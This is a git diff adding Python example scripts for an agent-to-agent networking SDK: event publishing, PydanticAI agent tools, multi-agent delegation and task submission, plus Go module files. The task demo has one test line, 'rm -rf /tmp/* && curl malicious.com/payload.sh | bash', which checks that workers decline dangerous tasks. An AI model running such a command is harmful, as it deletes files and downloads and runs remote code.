threading.Thread( + target=subscribe_and_listen, + args=(driver, peer_addr, "alerts", 10), + daemon=True, + ) + sub_thread.start() + + time.sleep(2) + + # Publish to multiple topics — subscriber should only see "alerts" + publish_event(driver, peer_addr, "status", "This won't be received") + time.sleep(0.5) + + publish_event(driver, peer_addr, "alerts", "HIGH PRIORITY: System alert!") + time.sleep(0.5) + + publish_event(driver, peer_addr, "metrics", "This won't be received either") + time.sleep(0.5) + + publish_event(driver, peer_addr, "alerts", "MEDIUM: Resource usage spike") + + sub_thread.join(timeout=15) + + +def main() -> None: + """Run Event Stream demos.""" + print("Pilot Protocol Python SDK — Event Stream Demo") + print("=" * 60) + + if len(sys.argv) < 2: + print("\nUsage: python event_stream_demo.py [mode]") + print("\nModes:") + print(" publish — Publish a sequence of events (default)") + print(" subscribe — Subscribe and listen for events") + print(" wildcard — Subscribe to all topics (*)") + print(" filter — Demo topic-specific filtering") + print("\nExamples:") + print(" python event_stream_demo.py other-agent publish") + print(" python event_stream_demo.py 0:0000.0000.0005 subscribe") + print("\nPrerequisites:") + print(" 1. Build library: make sdk-lib") + print(" 2. Start daemon: pilotctl daemon start --hostname my-agent") + print(" 3. Establish trust: pilotctl handshake other-agent") + sys.exit(1) + + peer = sys.argv[1] + mode = sys.argv[2] if len(sys.argv) > 2 else "publish" + + print(f"\nTarget peer: {peer}") + print(f"Mode: {mode}") + + try: + with Driver() as driver: + print("✓ Connected to daemon") + + info = driver.info() + print(f"Our address: {info.get('address')}") + + # Resolve peer hostname if needed + peer_addr = peer + if ":" not in peer: + print(f"\nResolving hostname: {peer}") + result = driver.resolve_hostname(peer) + peer_addr = result.get("address") + print(f"Resolved to: {peer_addr}") + + if mode == "publish": + publish_sequence(driver, peer_addr, "demo.events", count=10, interval=0.5) + + elif mode == "subscribe": + topic = sys.argv[3] if len(sys.argv) > 3 else "demo.events" + subscribe_and_listen(driver, peer_addr, topic, duration=30) + + elif mode == "wildcard": + demo_wildcard_subscription(driver, peer_addr) + + elif mode == "filter": + demo_topic_filtering(driver, peer_addr) + + else: + print(f"✗ Unknown mode: {mode}") + sys.exit(1) + + print("\n" + "=" * 60) + print("✓ Event Stream demo completed") + + except PilotError as e: + print(f"\n✗ Pilot error: {e}") + print("\nHint: Start the daemon first:") + print(" pilotctl daemon start --hostname my-agent") + sys.exit(1) + except Exception as e: + print(f"\n✗ Error: {e}") + import traceback + traceback.print_exc() + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/examples/python_sdk/pydantic_ai_agent.py b/examples/python_sdk/pydantic_ai_agent.py new file mode 100644 index 00000000..59e88ae4 --- /dev/null +++ b/examples/python_sdk/pydantic_ai_agent.py @@ -0,0 +1,422 @@ +#!/usr/bin/env python3 +"""PydanticAI Agent with Pilot Protocol integration. + +This example demonstrates how to integrate Pilot Protocol into a PydanticAI agent, +giving it the ability to communicate with other agents over the Pilot network. + +The agent has function tools that can: +- Discover peer agents by hostname +- Send messages to other agents +- Request tasks from other agents +- Subscribe to events from peers + +This mirrors how OpenClaw uses pilotctl, but natively integrated into the +agent's tool system. + +Prerequisites: +- pip install pydantic-ai pilotprotocol +- Build shared library: make sdk-lib +- Daemon running: pilotctl daemon start --hostname pydantic-agent +- Trusted peers configured +""" + +import json +from dataclasses import dataclass +from typing import Any + +from pydantic import BaseModel, Field +from pydantic_ai import Agent, RunContext +from pilotprotocol import Driver, PilotError + + +# --------------------------------------------------------------------------- +# Dependencies +# --------------------------------------------------------------------------- + +@dataclass +class PilotDependencies: + """Agent dependencies injected into tools.""" + driver: Driver + our_address: str + our_hostname: str + + +# --------------------------------------------------------------------------- +# Structured output +# --------------------------------------------------------------------------- + +class AgentResponse(BaseModel): + """Response from the agent.""" + message: str = Field(description="Natural language response to user") + action_taken: str | None = Field( + default=None, + description="Description of any pilot protocol action taken", + ) + data: dict[str, Any] | None = Field( + default=None, + description="Any structured data returned from tools", + ) + + +# --------------------------------------------------------------------------- +# Agent definition +# --------------------------------------------------------------------------- + +agent = Agent( + "openai:gpt-4", + deps_type=PilotDependencies, + result_type=AgentResponse, + system_prompt=( + "You are an AI agent connected to the Pilot Protocol network. " + "You can discover and communicate with other agents. " + "Use your tools to interact with the network when appropriate. " + "Always be helpful and explain what you're doing." + ), +) + + +# --------------------------------------------------------------------------- +# Tools +# --------------------------------------------------------------------------- + +@agent.tool +def discover_peer( + ctx: RunContext[PilotDependencies], + hostname: str, +) -> dict[str, Any]: + """Discover a peer agent by hostname. + + Use this tool when the user asks about finding, discovering, or connecting + to another agent by name. + + Args: + hostname: The hostname of the peer agent to discover + + Returns: + Information about the peer including address and node_id + """ + try: + result = ctx.deps.driver.resolve_hostname(hostname) + return { + "status": "success", + "hostname": hostname, + "address": result.get("address"), + "node_id": result.get("node_id"), + "message": f"Found peer {hostname} at {result.get('address')}", + } + except PilotError as e: + return { + "status": "error", + "message": f"Could not find peer {hostname}: {e}", + "hint": "Ensure mutual trust is established with this peer", + } + + +@agent.tool +def send_message_to_peer( + ctx: RunContext[PilotDependencies], + hostname: str, + message: str, +) -> dict[str, Any]: + """Send a text message to another agent via Data Exchange (port 1001). + + Use this when the user asks to send a message, communicate with, + or contact another agent. + + Args: + hostname: The hostname of the target agent + message: The message to send + + Returns: + Confirmation of message sent + """ + try: + # Resolve peer + peer_info = ctx.deps.driver.resolve_hostname(hostname) + peer_addr = peer_info.get("address") + + # Pack text frame (type 0x01) + msg_bytes = message.encode("utf-8") + frame = bytearray(1 + len(msg_bytes)) + frame[0] = 0x01 # FRAME_TEXT + frame[1:] = msg_bytes + + # Send via Data Exchange port + ctx.deps.driver.send_to(f"{peer_addr}:1001", bytes(frame)) + + return { + "status": "success", + "to": hostname, + "message": f"Message sent to {hostname}", + "bytes": len(frame), + } + except PilotError as e: + return { + "status": "error", + "message": f"Failed to send message: {e}", + } + + +@agent.tool +def request_task_from_peer( + ctx: RunContext[PilotDependencies], + hostname: str, + task_description: str, +) -> dict[str, Any]: + """Request another agent to perform a task. + + Use this when the user wants to delegate work to another agent. + Requires sufficient polo score. + + Args: + hostname: The hostname of the worker agent + task_description: Description of the task to perform + + Returns: + Task submission status and task_id + """ + try: + # Resolve peer + peer_info = ctx.deps.driver.resolve_hostname(hostname) + peer_addr = peer_info.get("address") + + # Open connection to Task Submit port (1003) + with ctx.deps.driver.dial(f"{peer_addr}:1003") as conn: + # Pack task submission (type 0x01 = TASK_SUBMIT) + desc_bytes = task_description.encode("utf-8") + frame = bytearray(1 + len(desc_bytes)) + frame[0] = 0x01 + frame[1:] = desc_bytes + + # Send task request + conn.write(bytes(frame)) + + # Wait for response + data = conn.read(4096) + if data: + response = json.loads(data.decode("utf-8")) + return { + "status": "success", + "task_id": response.get("task_id"), + "accepted": response.get("accepted"), + "message": response.get("message"), + "worker": hostname, + } + + return {"status": "error", "message": "No response from worker"} + + except PilotError as e: + return { + "status": "error", + "message": f"Failed to submit task: {e}", + "hint": "Check your polo score and ensure trust is established", + } + + +@agent.tool +def get_network_status(ctx: RunContext[PilotDependencies]) -> dict[str, Any]: + """Get current network status and information about this agent. + + Use this when the user asks about the agent's status, identity, + or current state on the network. + + Returns: + Network status information + """ + try: + info = ctx.deps.driver.info() + return { + "status": "success", + "our_address": info.get("address"), + "our_hostname": info.get("hostname"), + "node_id": info.get("node_id"), + "peers": info.get("peers", 0), + "connections": info.get("connections", 0), + "polo_score": info.get("polo_score", 0), + "uptime_seconds": info.get("uptime_secs", 0), + } + except PilotError as e: + return { + "status": "error", + "message": f"Failed to get status: {e}", + } + + +@agent.tool +def list_trusted_peers(ctx: RunContext[PilotDependencies]) -> dict[str, Any]: + """List all agents we have mutual trust with. + + Use this when the user asks about available peers, who we can + communicate with, or our trusted connections. + + Returns: + List of trusted peer agents + """ + try: + result = ctx.deps.driver.trusted_peers() + trusted = result.get("trusted", []) + + return { + "status": "success", + "count": len(trusted), + "peers": [ + { + "hostname": p.get("hostname", "unknown"), + "address": p.get("address"), + "node_id": p.get("node_id"), + } + for p in trusted + ], + } + except PilotError as e: + return { + "status": "error", + "message": f"Failed to list peers: {e}", + } + + +@agent.tool +def establish_trust_with_peer( + ctx: RunContext[PilotDependencies], + hostname: str, + reason: str = "Agent collaboration request", +) -> dict[str, Any]: + """Send a trust handshake request to another agent. + + Use this when the user wants to connect with a new agent that + we don't have trust established with yet. + + Args: + hostname: Hostname of the peer agent + reason: Justification for the trust request + + Returns: + Status of the handshake request + """ + try: + # Resolve to get node_id + peer_info = ctx.deps.driver.resolve_hostname(hostname) + node_id = peer_info.get("node_id") + + # Send handshake + result = ctx.deps.driver.handshake(node_id, reason) + + return { + "status": "success", + "peer": hostname, + "node_id": node_id, + "message": "Trust request sent. Waiting for peer approval.", + "details": result, + } + except PilotError as e: + return { + "status": "error", + "message": f"Failed to send handshake: {e}", + } + + +# --------------------------------------------------------------------------- +# Main +# --------------------------------------------------------------------------- + +def main() -> None: + """Run the PydanticAI agent with Pilot Protocol integration.""" + print("PydanticAI Agent with Pilot Protocol Integration") + print("=" * 60) + + # Connect to Pilot Protocol daemon + print("\nConnecting to Pilot Protocol daemon...") + driver = Driver() + + # Get our identity + info = driver.info() + our_address = info.get("address") + our_hostname = info.get("hostname", "unknown") + + print("✓ Connected") + print(f" Address: {our_address}") + print(f" Hostname: {our_hostname}") + print(f" Peers: {info.get('peers', 0)}") + + # Create dependencies + deps = PilotDependencies( + driver=driver, + our_address=our_address, + our_hostname=our_hostname, + ) + + print("\n" + "=" * 60) + print("Agent ready! Try asking:") + print(' - "What is my network status?"') + print(' - "Discover the agent called worker-agent"') + print(' - "Send a hello message to worker-agent"') + print(' - "Request worker-agent to analyse some data"') + print(' - "Who are my trusted peers?"') + print("=" * 60) + + # Example interactions + examples = [ + "What is my current status on the network?", + "Who are my trusted peers?", + "Discover the agent called worker-agent and send them a greeting", + ] + + for query in examples: + print(f"\n\n>>> User: {query}") + print("-" * 60) + + try: + result = agent.run_sync(query, deps=deps) + response = result.data + + print(f"Agent: {response.message}") + + if response.action_taken: + print(f"\nAction: {response.action_taken}") + + if response.data: + print(f"\nData: {json.dumps(response.data, indent=2)}") + + except Exception as e: + print(f"Error: {e}") + import traceback + traceback.print_exc() + + # Interactive mode + print("\n\n" + "=" * 60) + print("Entering interactive mode. Type 'quit' to exit.") + print("=" * 60) + + while True: + try: + query = input("\n>>> You: ").strip() + + if query.lower() in ("quit", "exit", "q"): + break + + if not query: + continue + + result = agent.run_sync(query, deps=deps) + response = result.data + + print(f"\nAgent: {response.message}") + + if response.action_taken: + print(f"\nAction: {response.action_taken}") + + if response.data: + print(f"\nData: {json.dumps(response.data, indent=2)}") + + except KeyboardInterrupt: + break + except Exception as e: + print(f"\nError: {e}") + + print("\n\nShutting down...") + driver.close() + print("✓ Disconnected from Pilot Protocol") + + +if __name__ == "__main__": + main() diff --git a/examples/python_sdk/pydantic_ai_multiagent.py b/examples/python_sdk/pydantic_ai_multiagent.py new file mode 100644 index 00000000..39bc32a5 --- /dev/null +++ b/examples/python_sdk/pydantic_ai_multiagent.py @@ -0,0 +1,377 @@ +#!/usr/bin/env python3 +"""Advanced PydanticAI multi-agent collaboration with Pilot Protocol. + +This example demonstrates: +- Multiple specialised agents working together +- Agent-to-agent task delegation +- Event stream pub/sub for coordination +- Data exchange for sharing results +- Polo score management + +Scenario: Research Assistant System +- Coordinator Agent: Receives user requests, delegates to specialists +- Researcher Agent: Searches for information, analyses data +- Summariser Agent: Synthesises research into readable summaries +- All agents communicate via Pilot Protocol + +Prerequisites: +- pip install pydantic-ai pilotprotocol +- Build shared library: make sdk-lib +- Multiple daemons running (or use different hostnames) +- Mutual trust established between agents +""" + +import json +import time +from dataclasses import dataclass +from typing import Literal + +from pydantic import BaseModel, Field +from pydantic_ai import Agent, RunContext +from pilotprotocol import Driver, PilotError + + +# --------------------------------------------------------------------------- +# Shared dependencies +# --------------------------------------------------------------------------- + +@dataclass +class AgentContext: + """Shared context for all agents.""" + driver: Driver + hostname: str + address: str + role: Literal["coordinator", "researcher", "summariser"] + + +# ============================================================================ +# COORDINATOR AGENT +# ============================================================================ + +class CoordinatorResponse(BaseModel): + """Response from coordinator agent.""" + status: str = Field(description="Status of the operation") + message: str = Field(description="Message to user") + tasks_delegated: list[dict] = Field( + default_factory=list, + description="Tasks delegated to other agents", + ) + results: dict | None = Field( + default=None, + description="Final results if available", + ) + + +coordinator_agent = Agent( + "openai:gpt-4", + deps_type=AgentContext, + result_type=CoordinatorResponse, + system_prompt=( + "You are a coordinator agent in a research system. " + "Break down user requests into tasks, delegate to specialist agents, " + "and synthesise results. Available specialists: researcher, summariser." + ), +) + + +@coordinator_agent.tool +def delegate_research_task( + ctx: RunContext[AgentContext], + researcher_hostname: str, + query: str, +) -> dict: + """Delegate a research query to a researcher agent. + + Args: + researcher_hostname: Hostname of the researcher agent + query: The research query to investigate + """ + try: + # Resolve researcher + peer_info = ctx.deps.driver.resolve_hostname(researcher_hostname) + peer_addr = peer_info["address"] + + # Submit task via stream connection to port 1003 + with ctx.deps.driver.dial(f"{peer_addr}:1003") as conn: + task_desc = f"Research: {query}" + desc_bytes = task_desc.encode("utf-8") + frame = bytearray(1 + len(desc_bytes)) + frame[0] = 0x01 # TASK_SUBMIT + frame[1:] = desc_bytes + + conn.write(bytes(frame)) + + # Wait for response + data = conn.read(4096) + if data: + response = json.loads(data.decode("utf-8")) + return { + "status": "delegated", + "task_id": response.get("task_id"), + "worker": researcher_hostname, + "query": query, + } + + return {"status": "error", "message": "No response"} + + except PilotError as e: + return {"status": "error", "message": str(e)} + + +@coordinator_agent.tool +def request_summary( + ctx: RunContext[AgentContext], + summariser_hostname: str, + content: str, +) -> dict: + """Request a summariser agent to create a summary. + + Args: + summariser_hostname: Hostname of the summariser agent + content: Content to summarise + """ + try: + peer_info = ctx.deps.driver.resolve_hostname(summariser_hostname) + peer_addr = peer_info["address"] + + # Send via Data Exchange as JSON + task_data = { + "type": "summary_request", + "content": content, + "from": ctx.deps.hostname, + } + json_bytes = json.dumps(task_data).encode("utf-8") + frame = bytearray(1 + len(json_bytes)) + frame[0] = 0x02 # FRAME_JSON + frame[1:] = json_bytes + + ctx.deps.driver.send_to(f"{peer_addr}:1001", bytes(frame)) + + return { + "status": "requested", + "summariser": summariser_hostname, + "bytes": len(frame), + } + except PilotError as e: + return {"status": "error", "message": str(e)} + + +@coordinator_agent.tool +def publish_coordination_event( + ctx: RunContext[AgentContext], + topic: str, + message: str, +) -> dict: + """Publish a coordination event to all subscribed agents. + + Args: + topic: Event topic (e.g., "task.started", "task.completed") + message: Event message + """ + try: + topic_bytes = topic.encode("utf-8") + msg_bytes = message.encode("utf-8") + frame = bytearray(2 + len(topic_bytes) + len(msg_bytes)) + frame[0:2] = len(topic_bytes).to_bytes(2, "big") + frame[2 : 2 + len(topic_bytes)] = topic_bytes + frame[2 + len(topic_bytes) :] = msg_bytes + + ctx.deps.driver.send_to(f"{ctx.deps.address}:1002", bytes(frame)) + + return {"status": "published", "topic": topic} + except PilotError as e: + return {"status": "error", "message": str(e)} + + +# ============================================================================ +# RESEARCHER AGENT +# ============================================================================ + +class ResearcherResponse(BaseModel): + """Response from researcher agent.""" + status: str + findings: str | None = None + sources: list[str] = Field(default_factory=list) + confidence: float = Field(ge=0.0, le=1.0, default=0.5) + + +researcher_agent = Agent( + "openai:gpt-4", + deps_type=AgentContext, + result_type=ResearcherResponse, + system_prompt=( + "You are a research specialist agent. You analyse queries, " + "search for information, and provide detailed findings. " + "Always cite sources and provide confidence scores." + ), +) + + +@researcher_agent.tool +def send_research_results( + ctx: RunContext[AgentContext], + coordinator_hostname: str, + results: str, +) -> dict: + """Send research results back to coordinator. + + Args: + coordinator_hostname: Hostname of the coordinator + results: Research findings to send + """ + try: + peer_info = ctx.deps.driver.resolve_hostname(coordinator_hostname) + peer_addr = peer_info["address"] + + # Send as JSON via Data Exchange + data = { + "type": "research_results", + "findings": results, + "from": ctx.deps.hostname, + "timestamp": time.time(), + } + json_bytes = json.dumps(data).encode("utf-8") + frame = bytearray(1 + len(json_bytes)) + frame[0] = 0x02 # FRAME_JSON + frame[1:] = json_bytes + + ctx.deps.driver.send_to(f"{peer_addr}:1001", bytes(frame)) + + return {"status": "sent", "bytes": len(frame)} + except PilotError as e: + return {"status": "error", "message": str(e)} + + +# ============================================================================ +# SUMMARISER AGENT +# ============================================================================ + +class SummariserResponse(BaseModel): + """Response from summariser agent.""" + status: str + summary: str | None = None + key_points: list[str] = Field(default_factory=list) + word_count: int = 0 + + +summariser_agent = Agent( + "openai:gpt-4", + deps_type=AgentContext, + result_type=SummariserResponse, + system_prompt=( + "You are a summarisation specialist. Create concise, clear summaries " + "that capture key points while maintaining accuracy. " + "Always extract and list key points separately." + ), +) + + +@summariser_agent.tool +def send_summary_results( + ctx: RunContext[AgentContext], + recipient_hostname: str, + summary: str, +) -> dict: + """Send summary back to requesting agent. + + Args: + recipient_hostname: Hostname of requesting agent + summary: The summary text + """ + try: + peer_info = ctx.deps.driver.resolve_hostname(recipient_hostname) + peer_addr = peer_info["address"] + + data = { + "type": "summary_results", + "summary": summary, + "from": ctx.deps.hostname, + "timestamp": time.time(), + } + json_bytes = json.dumps(data).encode("utf-8") + frame = bytearray(1 + len(json_bytes)) + frame[0] = 0x02 # FRAME_JSON + frame[1:] = json_bytes + + ctx.deps.driver.send_to(f"{peer_addr}:1001", bytes(frame)) + + return {"status": "sent"} + except PilotError as e: + return {"status": "error", "message": str(e)} + + +# ============================================================================ +# DEMO ORCHESTRATION +# ============================================================================ + +def demo_collaborative_workflow() -> None: + """Demonstrate multi-agent collaboration.""" + print("Multi-Agent Research System Demo") + print("=" * 70) + + # For demo, use single daemon with role differentiation + # In production, each agent would run its own daemon + + print("\n1. Connecting coordinator agent...") + coordinator_driver = Driver() + coord_info = coordinator_driver.info() + + coordinator_ctx = AgentContext( + driver=coordinator_driver, + hostname=coord_info.get("hostname", "coordinator"), + address=coord_info.get("address"), + role="coordinator", + ) + + print(f" ✓ Coordinator ready: {coordinator_ctx.hostname}") + + # Demo query + user_query = ( + "Research the impact of transformer architectures on natural language " + "processing and provide a summary of key findings." + ) + + print(f"\n2. User Query:") + print(f" {user_query}") + + print("\n3. Coordinator processing...") + result = coordinator_agent.run_sync(user_query, deps=coordinator_ctx) + response = result.data + + print(f"\n4. Coordinator Response:") + print(f" Status: {response.status}") + print(f" Message: {response.message}") + + if response.tasks_delegated: + print(f"\n5. Tasks Delegated:") + for task in response.tasks_delegated: + print(f" - {task}") + + print("\n6. Workflow Complete") + print(f" Polo Score: {coord_info.get('polo_score', 0)}") + + coordinator_driver.close() + + +def main() -> None: + """Run the multi-agent demo.""" + print("\nPydanticAI Multi-Agent Collaboration with Pilot Protocol") + print("=" * 70) + print("\nThis demo shows how multiple specialised agents can collaborate") + print("using Pilot Protocol for communication and coordination.") + print("\nNote: For a full demo, run multiple daemons with different hostnames") + print("and establish trust between them.") + print("=" * 70) + + try: + demo_collaborative_workflow() + except PilotError as e: + print(f"\n✗ Pilot error: {e}") + except Exception as e: + print(f"\n✗ Error: {e}") + import traceback + traceback.print_exc() + + +if __name__ == "__main__": + main() diff --git a/examples/python_sdk/requirements.txt b/examples/python_sdk/requirements.txt new file mode 100644 index 00000000..058ed698 --- /dev/null +++ b/examples/python_sdk/requirements.txt @@ -0,0 +1,13 @@ +# Requirements for Pilot Protocol Python SDK examples +# +# Install with: pip install -r requirements.txt + +# Core SDK (install from local directory for development) +# pip install -e ../../sdk/python + +# For PydanticAI examples +pydantic-ai>=0.0.1 +pydantic>=2.0 + +# Optional: for development and testing +pytest>=7.0 diff --git a/examples/python_sdk/task_submit_demo.py b/examples/python_sdk/task_submit_demo.py new file mode 100644 index 00000000..0c0ab6f9 --- /dev/null +++ b/examples/python_sdk/task_submit_demo.py @@ -0,0 +1,326 @@ +#!/usr/bin/env python3 +"""Task Submit service demo using Pilot Protocol Python SDK. + +The Task Submit service (port 1003) enables agents to request work from +other agents and earn/spend polo score (reputation). + +Task Lifecycle: +1. Requester submits task +2. Worker receives task (NEW status) +3. Worker accepts/declines within 1 minute +4. If accepted, task enters worker's queue +5. Worker executes task when ready +6. Worker sends results back +7. Polo score calculated and updated + +Prerequisites: +- Build shared library: make sdk-lib +- Daemon running: pilotctl daemon start --hostname worker-agent +- Mutual trust established +- Worker must enable task execution: pilotctl enable-tasks +- Requester polo score >= worker polo score +""" + +import json +import sys +import time +from pilotprotocol import Driver, PilotError + + +# Task Submit port +TASK_SUBMIT_PORT = 1003 + +# Task request types (sub-commands) +TASK_SUBMIT = 0x01 +TASK_ACCEPT = 0x02 +TASK_DECLINE = 0x03 +TASK_EXECUTE = 0x04 +TASK_SEND_RESULTS = 0x05 +TASK_LIST = 0x06 +TASK_QUEUE = 0x07 + + +def pack_task_submit(description: str) -> bytes: + """Pack a task submission request. + + Format: [TASK_SUBMIT][description] + """ + desc_bytes = description.encode("utf-8") + frame = bytearray(1 + len(desc_bytes)) + frame[0] = TASK_SUBMIT + frame[1:] = desc_bytes + return bytes(frame) + + +def pack_task_accept(task_id: str) -> bytes: + """Pack a task acceptance. + + Format: [TASK_ACCEPT][task_id] + """ + task_id_bytes = task_id.encode("utf-8") + frame = bytearray(1 + len(task_id_bytes)) + frame[0] = TASK_ACCEPT + frame[1:] = task_id_bytes + return bytes(frame) + + +def pack_task_decline(task_id: str, justification: str) -> bytes: + """Pack a task decline. + + Format: [TASK_DECLINE][task_id_len:2][task_id][justification] + """ + task_id_bytes = task_id.encode("utf-8") + just_bytes = justification.encode("utf-8") + + frame = bytearray(1 + 2 + len(task_id_bytes) + len(just_bytes)) + frame[0] = TASK_DECLINE + frame[1:3] = len(task_id_bytes).to_bytes(2, "big") + frame[3 : 3 + len(task_id_bytes)] = task_id_bytes + frame[3 + len(task_id_bytes) :] = just_bytes + return bytes(frame) + + +def pack_task_results(task_id: str, results: str) -> bytes: + """Pack task results. + + Format: [TASK_SEND_RESULTS][task_id_len:2][task_id][results] + """ + task_id_bytes = task_id.encode("utf-8") + results_bytes = results.encode("utf-8") + + frame = bytearray(1 + 2 + len(task_id_bytes) + len(results_bytes)) + frame[0] = TASK_SEND_RESULTS + frame[1:3] = len(task_id_bytes).to_bytes(2, "big") + frame[3 : 3 + len(task_id_bytes)] = task_id_bytes + frame[3 + len(task_id_bytes) :] = results_bytes + return bytes(frame) + + +def submit_task(driver: Driver, peer_addr: str, description: str) -> dict: + """Submit a task to a peer agent.""" + print(f"\n=== Submitting Task ===") + print(f"To: {peer_addr}:{TASK_SUBMIT_PORT}") + print(f"Task: {description}") + + # Open connection to task submit port + with driver.dial(f"{peer_addr}:{TASK_SUBMIT_PORT}") as conn: + print("✓ Connected") + + # Send task submission + frame = pack_task_submit(description) + conn.write(frame) + print("✓ Task submitted, waiting for response...") + + # Read response + try: + data = conn.read(4096) + if not data: + print("✗ Empty response") + return {} + + response = json.loads(data.decode("utf-8")) + + print(f"\nResponse:") + print(f" Status: {response.get('status')}") + print(f" Task ID: {response.get('task_id')}") + print(f" Accepted: {response.get('accepted')}") + print(f" Message: {response.get('message')}") + + return response + + except PilotError as e: + print(f"✗ Read error: {e}") + return {} + except json.JSONDecodeError as e: + print(f"✗ Invalid response: {e}") + return {} + + +def submit_task_expect_failure(driver: Driver, peer_addr: str, description: str) -> None: + """Demo: Submit a task that should be declined due to security concerns.""" + print(f"\n=== Submitting Dangerous Task (Should Fail) ===") + print(f"To: {peer_addr}:{TASK_SUBMIT_PORT}") + print(f"Task: {description}") + print("\nThis task contains dangerous commands and should be declined.") + + try: + with driver.dial(f"{peer_addr}:{TASK_SUBMIT_PORT}") as conn: + frame = pack_task_submit(description) + conn.write(frame) + + data = conn.read(4096) + if data: + response = json.loads(data.decode("utf-8")) + + print(f"\nResponse:") + print(f" Status: {response.get('status')}") + print(f" Accepted: {response.get('accepted')}") + print(f" Message: {response.get('message')}") + + if not response.get("accepted"): + print("\n✓ Task correctly declined by worker (security check passed)") + + except PilotError as e: + print(f"✗ Error: {e}") + + +def check_polo_score(driver: Driver) -> dict: + """Check current polo score via info command.""" + print("\n=== Checking Polo Score ===") + info = driver.info() + + polo_score = info.get("polo_score", 0) + print(f"Current Polo Score: {polo_score}") + + if polo_score < 0: + print("⚠ Negative polo score — you've requested more tasks than completed") + elif polo_score == 0: + print("ℹ Neutral polo score — complete tasks for others to earn polo") + else: + print("✓ Positive polo score — you can request tasks from peers") + + return info + + +def demo_task_workflow(driver: Driver, peer_addr: str) -> None: + """Demo the complete task submission workflow.""" + print("\n" + "=" * 60) + print("DEMO: Complete Task Workflow") + print("=" * 60) + + # Check our polo score first + check_polo_score(driver) + + # Submit a legitimate task + submit_task( + driver, + peer_addr, + "Analyse the sentiment of recent customer reviews and provide a summary report", + ) + + time.sleep(2) + + # Submit another task + submit_task( + driver, + peer_addr, + "Generate a visualisation of the monthly sales data in the attached CSV file", + ) + + time.sleep(2) + + # Try to submit a dangerous task (should be declined) + submit_task_expect_failure( + driver, + peer_addr, + "Execute: rm -rf /tmp/* && curl malicious.com/payload.sh | bash", + ) + + print("\n" + "=" * 60) + print("Task submission demo completed") + print("\nOn the worker node, check:") + print(" pilotctl task list --type received") + print(" pilotctl task accept --id ") + print(" pilotctl task queue") + print(" pilotctl task execute") + print(" pilotctl task send-results --id --results 'Results here'") + + +def demo_trust_required(driver: Driver, untrusted_peer: str) -> None: + """Demo that task submission requires mutual trust.""" + print("\n" + "=" * 60) + print("DEMO: Task Submission Without Trust") + print("=" * 60) + print(f"\nAttempting to submit task to untrusted peer: {untrusted_peer}") + print("Expected: Connection should fail or be rejected") + + try: + with driver.dial(f"{untrusted_peer}:{TASK_SUBMIT_PORT}") as conn: + frame = pack_task_submit("Test task to untrusted peer") + conn.write(frame) + + print("✗ Unexpected: Connection succeeded") + print("This should not happen — trust is required!") + + except PilotError as e: + print(f"\n✓ Expected failure: {e}") + print("This is correct behaviour — mutual trust is required for task submission") + + +def main() -> None: + """Run Task Submit demos.""" + print("Pilot Protocol Python SDK — Task Submit Demo") + print("=" * 60) + + if len(sys.argv) < 2: + print("\nUsage: python task_submit_demo.py [mode]") + print("\nModes:") + print(" submit — Submit tasks (default)") + print(" trust-check — Demo trust requirement") + print("\nExamples:") + print(" python task_submit_demo.py worker-agent submit") + print(" python task_submit_demo.py 0:0000.0000.0005 trust-check") + print("\nPrerequisites:") + print(" 1. Build library: make sdk-lib") + print(" 2. Start daemon: pilotctl daemon start --hostname requester-agent") + print(" 3. Establish trust: pilotctl handshake worker-agent") + print(" 4. Worker enables tasks: pilotctl enable-tasks (on worker node)") + print(" 5. Check polo score: pilotctl info") + print("\nPolo Score Requirements:") + print(" - Your polo score must be >= worker's polo score") + print(" - Earn polo by completing tasks for others") + print(" - Spend polo when others complete tasks for you") + sys.exit(1) + + peer = sys.argv[1] + mode = sys.argv[2] if len(sys.argv) > 2 else "submit" + + print(f"\nTarget peer: {peer}") + print(f"Mode: {mode}") + + try: + with Driver() as driver: + print("✓ Connected to daemon") + + info = driver.info() + print(f"Our address: {info.get('address')}") + + # Resolve peer hostname if needed + peer_addr = peer + if ":" not in peer: + print(f"\nResolving hostname: {peer}") + result = driver.resolve_hostname(peer) + peer_addr = result.get("address") + print(f"Resolved to: {peer_addr}") + + if mode == "submit": + demo_task_workflow(driver, peer_addr) + + elif mode == "trust-check": + demo_trust_required(driver, peer_addr) + + else: + print(f"✗ Unknown mode: {mode}") + sys.exit(1) + + print("\n" + "=" * 60) + print("✓ Task Submit demo completed") + print("\nNext Steps:") + print(" - Check task status: pilotctl task list --type submitted") + print(" - Monitor polo score: pilotctl info") + print(" - See complete workflow in docs/SKILLS.md") + + except PilotError as e: + print(f"\n✗ Pilot error: {e}") + print("\nHint: Start the daemon first:") + print(" pilotctl daemon start --hostname requester-agent") + sys.exit(1) + except Exception as e: + print(f"\n✗ Error: {e}") + import traceback + traceback.print_exc() + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/go.mod b/go.mod index 4504ca73..d3ff27f5 100644 --- a/go.mod +++ b/go.mod @@ -1,3 +1,21 @@ -module web4 +module github.com/TeoSlayer/pilotprotocol go 1.25.3 + +require ( + github.com/expr-lang/expr v1.17.8 + github.com/stripe/stripe-go/v81 v81.4.0 + modernc.org/sqlite v1.48.0 +) + +require ( + github.com/dustin/go-humanize v1.0.1 // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/ncruces/go-strftime v1.0.0 // indirect + github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect + golang.org/x/sys v0.42.0 // indirect + modernc.org/libc v1.70.0 // indirect + modernc.org/mathutil v1.7.1 // indirect + modernc.org/memory v1.11.0 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 00000000..f462ceee --- /dev/null +++ b/go.sum @@ -0,0 +1,73 @@ +github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= +github.com/expr-lang/expr v1.17.8 h1:W1loDTT+0PQf5YteHSTpju2qfUfNoBt4yw9+wOEU9VM= +github.com/expr-lang/expr v1.17.8/go.mod h1:8/vRC7+7HBzESEqt5kKpYXxrxkr31SaO8r40VO/1IT4= +github.com/google/pprof 